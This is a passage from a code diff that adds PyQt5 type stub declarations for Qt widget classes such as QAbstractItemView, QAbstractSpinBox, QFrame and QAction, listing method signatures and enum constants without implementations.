... + def hitButton(self, pos: QtCore.QPoint) -> bool: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def toggled(self, checked: bool) -> None: ... + def clicked(self, checked: bool = ...) -> None: ... + def released(self) -> None: ... + def pressed(self) -> None: ... + def setChecked(self, a0: bool) -> None: ... + def toggle(self) -> None: ... + def click(self) -> None: ... + def animateClick(self, msecs: int = ...) -> None: ... + def setIconSize(self, size: QtCore.QSize) -> None: ... + def group(self) -> 'QButtonGroup': ... + def autoExclusive(self) -> bool: ... + def setAutoExclusive(self, a0: bool) -> None: ... + def autoRepeat(self) -> bool: ... + def setAutoRepeat(self, a0: bool) -> None: ... + def isDown(self) -> bool: ... + def setDown(self, a0: bool) -> None: ... + def isChecked(self) -> bool: ... + def isCheckable(self) -> bool: ... + def setCheckable(self, a0: bool) -> None: ... + def shortcut(self) -> QtGui.QKeySequence: ... + def setShortcut(self, key: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + def icon(self) -> QtGui.QIcon: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def text(self) -> str: ... + def setText(self, text: str) -> None: ... + def autoRepeatInterval(self) -> int: ... + def setAutoRepeatInterval(self, a0: int) -> None: ... + def autoRepeatDelay(self) -> int: ... + def setAutoRepeatDelay(self, a0: int) -> None: ... + + +class QAbstractItemDelegate(QtCore.QObject): + + class EndEditHint(int): + NoHint = ... # type: QAbstractItemDelegate.EndEditHint + EditNextItem = ... # type: QAbstractItemDelegate.EndEditHint + EditPreviousItem = ... # type: QAbstractItemDelegate.EndEditHint + SubmitModelCache = ... # type: QAbstractItemDelegate.EndEditHint + RevertModelCache = ... # type: QAbstractItemDelegate.EndEditHint + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def sizeHintChanged(self, a0: QtCore.QModelIndex) -> None: ... + def closeEditor(self, editor: QWidget, hint: 'QAbstractItemDelegate.EndEditHint' = ...) -> None: ... + def commitData(self, editor: QWidget) -> None: ... + def helpEvent(self, event: QtGui.QHelpEvent, view: 'QAbstractItemView', option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> bool: ... + def editorEvent(self, event: QtCore.QEvent, model: QtCore.QAbstractItemModel, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> bool: ... + def destroyEditor(self, editor: QWidget, index: QtCore.QModelIndex) -> None: ... + def updateEditorGeometry(self, editor: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + def setModelData(self, editor: QWidget, model: QtCore.QAbstractItemModel, index: QtCore.QModelIndex) -> None: ... + def setEditorData(self, editor: QWidget, index: QtCore.QModelIndex) -> None: ... + def createEditor(self, parent: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QWidget: ... + def sizeHint(self, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QtCore.QSize: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + + +class QFrame(QWidget): + + class StyleMask(int): + Shadow_Mask = ... # type: QFrame.StyleMask + Shape_Mask = ... # type: QFrame.StyleMask + + class Shape(int): + NoFrame = ... # type: QFrame.Shape + Box = ... # type: QFrame.Shape + Panel = ... # type: QFrame.Shape + WinPanel = ... # type: QFrame.Shape + HLine = ... # type: QFrame.Shape + VLine = ... # type: QFrame.Shape + StyledPanel = ... # type: QFrame.Shape + + class Shadow(int): + Plain = ... # type: QFrame.Shadow + Raised = ... # type: QFrame.Shadow + Sunken = ... # type: QFrame.Shadow + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def initStyleOption(self, option: 'QStyleOptionFrame') -> None: ... + def drawFrame(self, a0: QtGui.QPainter) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def setFrameRect(self, a0: QtCore.QRect) -> None: ... + def frameRect(self) -> QtCore.QRect: ... + def setMidLineWidth(self, a0: int) -> None: ... + def midLineWidth(self) -> int: ... + def setLineWidth(self, a0: int) -> None: ... + def lineWidth(self) -> int: ... + def setFrameShadow(self, a0: 'QFrame.Shadow') -> None: ... + def frameShadow(self) -> 'QFrame.Shadow': ... + def setFrameShape(self, a0: 'QFrame.Shape') -> None: ... + def frameShape(self) -> 'QFrame.Shape': ... + def sizeHint(self) -> QtCore.QSize: ... + def frameWidth(self) -> int: ... + def setFrameStyle(self, a0: int) -> None: ... + def frameStyle(self) -> int: ... + + +class QAbstractScrollArea(QFrame): + + class SizeAdjustPolicy(int): + AdjustIgnored = ... # type: QAbstractScrollArea.SizeAdjustPolicy + AdjustToContentsOnFirstShow = ... # type: QAbstractScrollArea.SizeAdjustPolicy + AdjustToContents = ... # type: QAbstractScrollArea.SizeAdjustPolicy + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setSizeAdjustPolicy(self, policy: 'QAbstractScrollArea.SizeAdjustPolicy') -> None: ... + def sizeAdjustPolicy(self) -> 'QAbstractScrollArea.SizeAdjustPolicy': ... + def setupViewport(self, viewport: QWidget) -> None: ... + def setViewport(self, widget: QWidget) -> None: ... + def scrollBarWidgets(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> typing.List[QWidget]: ... + def addScrollBarWidget(self, widget: QWidget, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setCornerWidget(self, widget: QWidget) -> None: ... + def cornerWidget(self) -> QWidget: ... + def setHorizontalScrollBar(self, scrollbar: 'QScrollBar') -> None: ... + def setVerticalScrollBar(self, scrollbar: 'QScrollBar') -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def dropEvent(self, a0: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, a0: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, a0: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, a0: QtGui.QDragEnterEvent) -> None: ... + def contextMenuEvent(self, a0: QtGui.QContextMenuEvent) -> None: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def viewportEvent(self, a0: QtCore.QEvent) -> bool: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def viewportSizeHint(self) -> QtCore.QSize: ... + def viewportMargins(self) -> QtCore.QMargins: ... + @typing.overload + def setViewportMargins(self, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def setViewportMargins(self, margins: QtCore.QMargins) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def maximumViewportSize(self) -> QtCore.QSize: ... + def viewport(self) -> QWidget: ... + def horizontalScrollBar(self) -> 'QScrollBar': ... + def setHorizontalScrollBarPolicy(self, a0: QtCore.Qt.ScrollBarPolicy) -> None: ... + def horizontalScrollBarPolicy(self) -> QtCore.Qt.ScrollBarPolicy: ... + def verticalScrollBar(self) -> 'QScrollBar': ... + def setVerticalScrollBarPolicy(self, a0: QtCore.Qt.ScrollBarPolicy) -> None: ... + def verticalScrollBarPolicy(self) -> QtCore.Qt.ScrollBarPolicy: ... + + +class QAbstractItemView(QAbstractScrollArea): + + class DropIndicatorPosition(int): + OnItem = ... # type: QAbstractItemView.DropIndicatorPosition + AboveItem = ... # type: QAbstractItemView.DropIndicatorPosition + BelowItem = ... # type: QAbstractItemView.DropIndicatorPosition + OnViewport = ... # type: QAbstractItemView.DropIndicatorPosition + + class State(int): + NoState = ... # type: QAbstractItemView.State + DraggingState = ... # type: QAbstractItemView.State + DragSelectingState = ... # type: QAbstractItemView.State + EditingState = ... # type: QAbstractItemView.State + ExpandingState = ... # type: QAbstractItemView.State + CollapsingState = ... # type: QAbstractItemView.State + AnimatingState = ... # type: QAbstractItemView.State + + class CursorAction(int): + MoveUp = ... # type: QAbstractItemView.CursorAction + MoveDown = ... # type: QAbstractItemView.CursorAction + MoveLeft = ... # type: QAbstractItemView.CursorAction + MoveRight = ... # type: QAbstractItemView.CursorAction + MoveHome = ... # type: QAbstractItemView.CursorAction + MoveEnd = ... # type: QAbstractItemView.CursorAction + MovePageUp = ... # type: QAbstractItemView.CursorAction + MovePageDown = ... # type: QAbstractItemView.CursorAction + MoveNext = ... # type: QAbstractItemView.CursorAction + MovePrevious = ... # type: QAbstractItemView.CursorAction + + class SelectionMode(int): + NoSelection = ... # type: QAbstractItemView.SelectionMode + SingleSelection = ... # type: QAbstractItemView.SelectionMode + MultiSelection = ... # type: QAbstractItemView.SelectionMode + ExtendedSelection = ... # type: QAbstractItemView.SelectionMode + ContiguousSelection = ... # type: QAbstractItemView.SelectionMode + + class SelectionBehavior(int): + SelectItems = ... # type: QAbstractItemView.SelectionBehavior + SelectRows = ... # type: QAbstractItemView.SelectionBehavior + SelectColumns = ... # type: QAbstractItemView.SelectionBehavior + + class ScrollMode(int): + ScrollPerItem = ... # type: QAbstractItemView.ScrollMode + ScrollPerPixel = ... # type: QAbstractItemView.ScrollMode + + class ScrollHint(int): + EnsureVisible = ... # type: QAbstractItemView.ScrollHint + PositionAtTop = ... # type: QAbstractItemView.ScrollHint + PositionAtBottom = ... # type: QAbstractItemView.ScrollHint + PositionAtCenter = ... # type: QAbstractItemView.ScrollHint + + class EditTrigger(int): + NoEditTriggers = ... # type: QAbstractItemView.EditTrigger + CurrentChanged = ... # type: QAbstractItemView.EditTrigger + DoubleClicked = ... # type: QAbstractItemView.EditTrigger + SelectedClicked = ... # type: QAbstractItemView.EditTrigger + EditKeyPressed = ... # type: QAbstractItemView.EditTrigger + AnyKeyPressed = ... # type: QAbstractItemView.EditTrigger + AllEditTriggers = ... # type: QAbstractItemView.EditTrigger + + class DragDropMode(int): + NoDragDrop = ... # type: QAbstractItemView.DragDropMode + DragOnly = ... # type: QAbstractItemView.DragDropMode + DropOnly = ... # type: QAbstractItemView.DragDropMode + DragDrop = ... # type: QAbstractItemView.DragDropMode + InternalMove = ... # type: QAbstractItemView.DragDropMode + + class EditTriggers(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractItemView.EditTriggers', 'QAbstractItemView.EditTrigger']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractItemView.EditTriggers') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractItemView.EditTriggers': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isPersistentEditorOpen(self, index: QtCore.QModelIndex) -> bool: ... + def resetHorizontalScrollMode(self) -> None: ... + def resetVerticalScrollMode(self) -> None: ... + def defaultDropAction(self) -> QtCore.Qt.DropAction: ... + def setDefaultDropAction(self, dropAction: QtCore.Qt.DropAction) -> None: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def viewportSizeHint(self) -> QtCore.QSize: ... + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def autoScrollMargin(self) -> int: ... + def setAutoScrollMargin(self, margin: int) -> None: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def itemDelegateForColumn(self, column: int) -> QAbstractItemDelegate: ... + def setItemDelegateForColumn(self, column: int, delegate: QAbstractItemDelegate) -> None: ... + def itemDelegateForRow(self, row: int) -> QAbstractItemDelegate: ... + def setItemDelegateForRow(self, row: int, delegate: QAbstractItemDelegate) -> None: ... + def dragDropMode(self) -> 'QAbstractItemView.DragDropMode': ... + def setDragDropMode(self, behavior: 'QAbstractItemView.DragDropMode') -> None: ... + def dragDropOverwriteMode(self) -> bool: ... + def setDragDropOverwriteMode(self, overwrite: bool) -> None: ... + def horizontalScrollMode(self) -> 'QAbstractItemView.ScrollMode': ... + def setHorizontalScrollMode(self, mode: 'QAbstractItemView.ScrollMode') -> None: ... + def verticalScrollMode(self) -> 'QAbstractItemView.ScrollMode': ... + def setVerticalScrollMode(self, mode: 'QAbstractItemView.ScrollMode') -> None: ... + def dropIndicatorPosition(self) -> 'QAbstractItemView.DropIndicatorPosition': ... + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, e: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, e: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, e: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, e: QtGui.QDragEnterEvent) -> None: ... + def mouseDoubleClickEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def viewportEvent(self, e: QtCore.QEvent) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def dirtyRegionOffset(self) -> QtCore.QPoint: ... + def setDirtyRegion(self, region: QtGui.QRegion) -> None: ... + def scrollDirtyRegion(self, dx: int, dy: int) -> None: ... + def executeDelayedItemsLayout(self) -> None: ... + def scheduleDelayedItemsLayout(self) -> None: ... + def setState(self, state: 'QAbstractItemView.State') -> None: ... + def state(self) -> 'QAbstractItemView.State': ... + def viewOptions(self) -> 'QStyleOptionViewItem': ... + def startDrag(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction]) -> None: ... + def selectionCommand(self, index: QtCore.QModelIndex, event: typing.Optional[QtCore.QEvent] = ...) -> QtCore.QItemSelectionModel.SelectionFlags: ... + def selectedIndexes(self) -> typing.List[QtCore.QModelIndex]: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def moveCursor(self, cursorAction: 'QAbstractItemView.CursorAction', modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def iconSizeChanged(self, size: QtCore.QSize) -> None: ... + def viewportEntered(self) -> None: ... + def entered(self, index: QtCore.QModelIndex) -> None: ... + def activated(self, index: QtCore.QModelIndex) -> None: ... + def doubleClicked(self, index: QtCore.QModelIndex) -> None: ... + def clicked(self, index: QtCore.QModelIndex) -> None: ... + def pressed(self, index: QtCore.QModelIndex) -> None: ... + def editorDestroyed(self, editor: QtCore.QObject) -> None: ... + def commitData(self, editor: QWidget) -> None: ... + def closeEditor(self, editor: QWidget, hint: QAbstractItemDelegate.EndEditHint) -> None: ... + def horizontalScrollbarValueChanged(self, value: int) -> None: ... + def verticalScrollbarValueChanged(self, value: int) -> None: ... + def horizontalScrollbarAction(self, action: int) -> None: ... + def verticalScrollbarAction(self, action: int) -> None: ... + def updateGeometries(self) -> None: ... + def updateEditorGeometries(self) -> None: ... + def updateEditorData(self) -> None: ... + def currentChanged(self, current: QtCore.QModelIndex, previous: QtCore.QModelIndex) -> None: ... + def selectionChanged(self, selected: QtCore.QItemSelection, deselected: QtCore.QItemSelection) -> None: ... + def rowsAboutToBeRemoved(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def rowsInserted(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def dataChanged(self, topLeft: QtCore.QModelIndex, bottomRight: QtCore.QModelIndex, roles: typing.Iterable[int] = ...) -> None: ... + @typing.overload + def update(self) -> None: ... + @typing.overload + def update(self, index: QtCore.QModelIndex) -> None: ... + def scrollToBottom(self) -> None: ... + def scrollToTop(self) -> None: ... + def setCurrentIndex(self, index: QtCore.QModelIndex) -> None: ... + def clearSelection(self) -> None: ... + @typing.overload + def edit(self, index: QtCore.QModelIndex) -> None: ... + @typing.overload + def edit(self, index: QtCore.QModelIndex, trigger: 'QAbstractItemView.EditTrigger', event: QtCore.QEvent) -> bool: ... + def selectAll(self) -> None: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def reset(self) -> None: ... + def indexWidget(self, index: QtCore.QModelIndex) -> QWidget: ... + def setIndexWidget(self, index: QtCore.QModelIndex, widget: QWidget) -> None: ... + def closePersistentEditor(self, index: QtCore.QModelIndex) -> None: ... + def openPersistentEditor(self, index: QtCore.QModelIndex) -> None: ... + def sizeHintForColumn(self, column: int) -> int: ... + def sizeHintForRow(self, row: int) -> int: ... + def sizeHintForIndex(self, index: QtCore.QModelIndex) -> QtCore.QSize: ... + def indexAt(self, p: QtCore.QPoint) -> QtCore.QModelIndex: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: 'QAbstractItemView.ScrollHint' = ...) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def keyboardSearch(self, search: str) -> None: ... + def textElideMode(self) -> QtCore.Qt.TextElideMode: ... + def setTextElideMode(self, mode: QtCore.Qt.TextElideMode) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + def setIconSize(self, size: QtCore.QSize) -> None: ... + def alternatingRowColors(self) -> bool: ... + def setAlternatingRowColors(self, enable: bool) -> None: ... + def dragEnabled(self) -> bool: ... + def setDragEnabled(self, enable: bool) -> None: ... + def showDropIndicator(self) -> bool: ... + def setDropIndicatorShown(self, enable: bool) -> None: ... + def tabKeyNavigation(self) -> bool: ... + def setTabKeyNavigation(self, enable: bool) -> None: ... + def hasAutoScroll(self) -> bool: ... + def setAutoScroll(self, enable: bool) -> None: ... + def editTriggers(self) -> 'QAbstractItemView.EditTriggers': ... + def setEditTriggers(self, triggers: typing.Union['QAbstractItemView.EditTriggers', 'QAbstractItemView.EditTrigger']) -> None: ... + def rootIndex(self) -> QtCore.QModelIndex: ... + def currentIndex(self) -> QtCore.QModelIndex: ... + def selectionBehavior(self) -> 'QAbstractItemView.SelectionBehavior': ... + def setSelectionBehavior(self, behavior: 'QAbstractItemView.SelectionBehavior') -> None: ... + def selectionMode(self) -> 'QAbstractItemView.SelectionMode': ... + def setSelectionMode(self, mode: 'QAbstractItemView.SelectionMode') -> None: ... + @typing.overload + def itemDelegate(self) -> QAbstractItemDelegate: ... + @typing.overload + def itemDelegate(self, index: QtCore.QModelIndex) -> QAbstractItemDelegate: ... + def setItemDelegate(self, delegate: QAbstractItemDelegate) -> None: ... + def selectionModel(self) -> QtCore.QItemSelectionModel: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def model(self) -> QtCore.QAbstractItemModel: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + + +class QAbstractSlider(QWidget): + + class SliderChange(int): + SliderRangeChange = ... # type: QAbstractSlider.SliderChange + SliderOrientationChange = ... # type: QAbstractSlider.SliderChange + SliderStepsChange = ... # type: QAbstractSlider.SliderChange + SliderValueChange = ... # type: QAbstractSlider.SliderChange + + class SliderAction(int): + SliderNoAction = ... # type: QAbstractSlider.SliderAction + SliderSingleStepAdd = ... # type: QAbstractSlider.SliderAction + SliderSingleStepSub = ... # type: QAbstractSlider.SliderAction + SliderPageStepAdd = ... # type: QAbstractSlider.SliderAction + SliderPageStepSub = ... # type: QAbstractSlider.SliderAction + SliderToMinimum = ... # type: QAbstractSlider.SliderAction + SliderToMaximum = ... # type: QAbstractSlider.SliderAction + SliderMove = ... # type: QAbstractSlider.SliderAction + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def keyPressEvent(self, ev: QtGui.QKeyEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def sliderChange(self, change: 'QAbstractSlider.SliderChange') -> None: ... + def repeatAction(self) -> 'QAbstractSlider.SliderAction': ... + def setRepeatAction(self, action: 'QAbstractSlider.SliderAction', thresholdTime: int = ..., repeatTime: int = ...) -> None: ... + def actionTriggered(self, action: int) -> None: ... + def rangeChanged(self, min: int, max: int) -> None: ... + def sliderReleased(self) -> None: ... + def sliderMoved(self, position: int) -> None: ... + def sliderPressed(self) -> None: ... + def valueChanged(self, value: int) -> None: ... + def setOrientation(self, a0: QtCore.Qt.Orientation) -> None: ... + def setValue(self, a0: int) -> None: ... + def triggerAction(self, action: 'QAbstractSlider.SliderAction') -> None: ... + def value(self) -> int: ... + def invertedControls(self) -> bool: ... + def setInvertedControls(self, a0: bool) -> None: ... + def invertedAppearance(self) -> bool: ... + def setInvertedAppearance(self, a0: bool) -> None: ... + def sliderPosition(self) -> int: ... + def setSliderPosition(self, a0: int) -> None: ... + def isSliderDown(self) -> bool: ... + def setSliderDown(self, a0: bool) -> None: ... + def hasTracking(self) -> bool: ... + def setTracking(self, enable: bool) -> None: ... + def pageStep(self) -> int: ... + def setPageStep(self, a0: int) -> None: ... + def singleStep(self) -> int: ... + def setSingleStep(self, a0: int) -> None: ... + def setRange(self, min: int, max: int) -> None: ... + def maximum(self) -> int: ... + def setMaximum(self, a0: int) -> None: ... + def minimum(self) -> int: ... + def setMinimum(self, a0: int) -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + + +class QAbstractSpinBox(QWidget): + + class StepType(int): + DefaultStepType = ... # type: QAbstractSpinBox.StepType + AdaptiveDecimalStepType = ... # type: QAbstractSpinBox.StepType + + class CorrectionMode(int): + CorrectToPreviousValue = ... # type: QAbstractSpinBox.CorrectionMode + CorrectToNearestValue = ... # type: QAbstractSpinBox.CorrectionMode + + class ButtonSymbols(int): + UpDownArrows = ... # type: QAbstractSpinBox.ButtonSymbols + PlusMinus = ... # type: QAbstractSpinBox.ButtonSymbols + NoButtons = ... # type: QAbstractSpinBox.ButtonSymbols + + class StepEnabledFlag(int): + StepNone = ... # type: QAbstractSpinBox.StepEnabledFlag + StepUpEnabled = ... # type: QAbstractSpinBox.StepEnabledFlag + StepDownEnabled = ... # type: QAbstractSpinBox.StepEnabledFlag + + class StepEnabled(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractSpinBox.StepEnabled', 'QAbstractSpinBox.StepEnabledFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractSpinBox.StepEnabled') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractSpinBox.StepEnabled': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isGroupSeparatorShown(self) -> bool: ... + def setGroupSeparatorShown(self, shown: bool) -> None: ... + def inputMethodQuery(self, a0: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def keyboardTracking(self) -> bool: ... + def setKeyboardTracking(self, kt: bool) -> None: ... + def isAccelerated(self) -> bool: ... + def setAccelerated(self, on: bool) -> None: ... + def hasAcceptableInput(self) -> bool: ... + def correctionMode(self) -> 'QAbstractSpinBox.CorrectionMode': ... + def setCorrectionMode(self, cm: 'QAbstractSpinBox.CorrectionMode') -> None: ... + def initStyleOption(self, option: 'QStyleOptionSpinBox') -> None: ... + def stepEnabled(self) -> 'QAbstractSpinBox.StepEnabled': ... + def setLineEdit(self, e: 'QLineEdit') -> None: ... + def lineEdit(self) -> 'QLineEdit': ... + def showEvent(self, e: QtGui.QShowEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def hideEvent(self, e: QtGui.QHideEvent) -> None: ... + def closeEvent(self, e: QtGui.QCloseEvent) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def contextMenuEvent(self, e: QtGui.QContextMenuEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def keyReleaseEvent(self, e: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def editingFinished(self) -> None: ... + def clear(self) -> None: ... + def selectAll(self) -> None: ... + def stepDown(self) -> None: ... + def stepUp(self) -> None: ... + def stepBy(self, steps: int) -> None: ... + def fixup(self, input: str) -> str: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QtGui.QValidator.State, str, int]: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def interpretText(self) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def hasFrame(self) -> bool: ... + def setFrame(self, a0: bool) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setAlignment(self, flag: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def isReadOnly(self) -> bool: ... + def setReadOnly(self, r: bool) -> None: ... + def setWrapping(self, w: bool) -> None: ... + def wrapping(self) -> bool: ... + def setSpecialValueText(self, s: str) -> None: ... + def specialValueText(self) -> str: ... + def text(self) -> str: ... + def setButtonSymbols(self, bs: 'QAbstractSpinBox.ButtonSymbols') -> None: ... + def buttonSymbols(self) -> 'QAbstractSpinBox.ButtonSymbols': ... + + +class QAction(QtCore.QObject): + + class Priority(int): + LowPriority = ... # type: QAction.Priority + NormalPriority = ... # type: QAction.Priority + HighPriority = ... # type: QAction.Priority + + class MenuRole(int): + NoRole = ... # type: QAction.MenuRole + TextHeuristicRole = ... # type: QAction.MenuRole + ApplicationSpecificRole = ... # type: QAction.MenuRole + AboutQtRole = ... # type: QAction.MenuRole + AboutRole = ... # type: QAction.MenuRole + PreferencesRole = ... # type: QAction.MenuRole + QuitRole = ... # type: QAction.MenuRole + + class ActionEvent(int): + Trigger = ... # type: QAction.ActionEvent + Hover = ... # type: QAction.ActionEvent + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, icon: QtGui.QIcon, text: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def isShortcutVisibleInContextMenu(self) -> bool: ... + def setShortcutVisibleInContextMenu(self, show: bool) -> None: ... + def priority(self) -> 'QAction.Priority': ... + def setPriority(self, priority: 'QAction.Priority') -> None: ... + def isIconVisibleInMenu(self) -> bool: ... + def setIconVisibleInMenu(self, visible: bool) -> None: ... + def associatedGraphicsWidgets(self) -> typing.List['QGraphicsWidget']: ... + def associatedWidgets(self) -> typing.List[QWidget]: ... + def menuRole(self) -> 'QAction.MenuRole': ... + def setMenuRole(self, menuRole: 'QAction.MenuRole') -> None: ... + def autoRepeat(self) -> bool: ... + def setAutoRepeat(self, a0: bool) -> None: ... + def shortcuts(self) -> typing.List[QtGui.QKeySequence]: ... + @typing.overload + def setShortcuts(self, shortcuts: typing.Iterable[typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]]) -> None: ... + @typing.overload + def setShortcuts(self, a0: QtGui.QKeySequence.StandardKey) -> None: ... + def toggled(self, a0: bool) -> None: ... + def hovered(self) -> None: ... + def triggered(self, checked: bool = ...) -> None: ... + def changed(self) -> None: ... + def setVisible(self, a0: bool) -> None: ... + def setDisabled(self, b: bool) -> None: ... + def setEnabled(self, a0: bool) -> None: ... + def toggle(self) -> None: ... + def setChecked(self, a0: bool) -> None: ... + def hover(self) -> None: ... + def trigger(self) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def parentWidget(self) -> QWidget: ... + def showStatusText(self, widget: typing.Optional[QWidget] = ...) -> bool: ... + def activate(self, event: 'QAction.ActionEvent') -> None: ... + def isVisible(self) -> bool: ... + def isEnabled(self) -> bool: ... + def isChecked(self) -> bool: ... + def setData(self, var: typing.Any) -> None: ... + def data(self) -> typing.Any: ... + def isCheckable(self) -> bool: ... + def setCheckable(self, a0: bool) -> None: ... + def font(self) -> QtGui.QFont: ... + def setFont(self, font: QtGui.QFont) -> None: ... + def shortcutContext(self) -> QtCore.Qt.ShortcutContext: ... + def setShortcutContext(self, context: QtCore.Qt.ShortcutContext) -> None: ... + def shortcut(self) -> QtGui.QKeySequence: 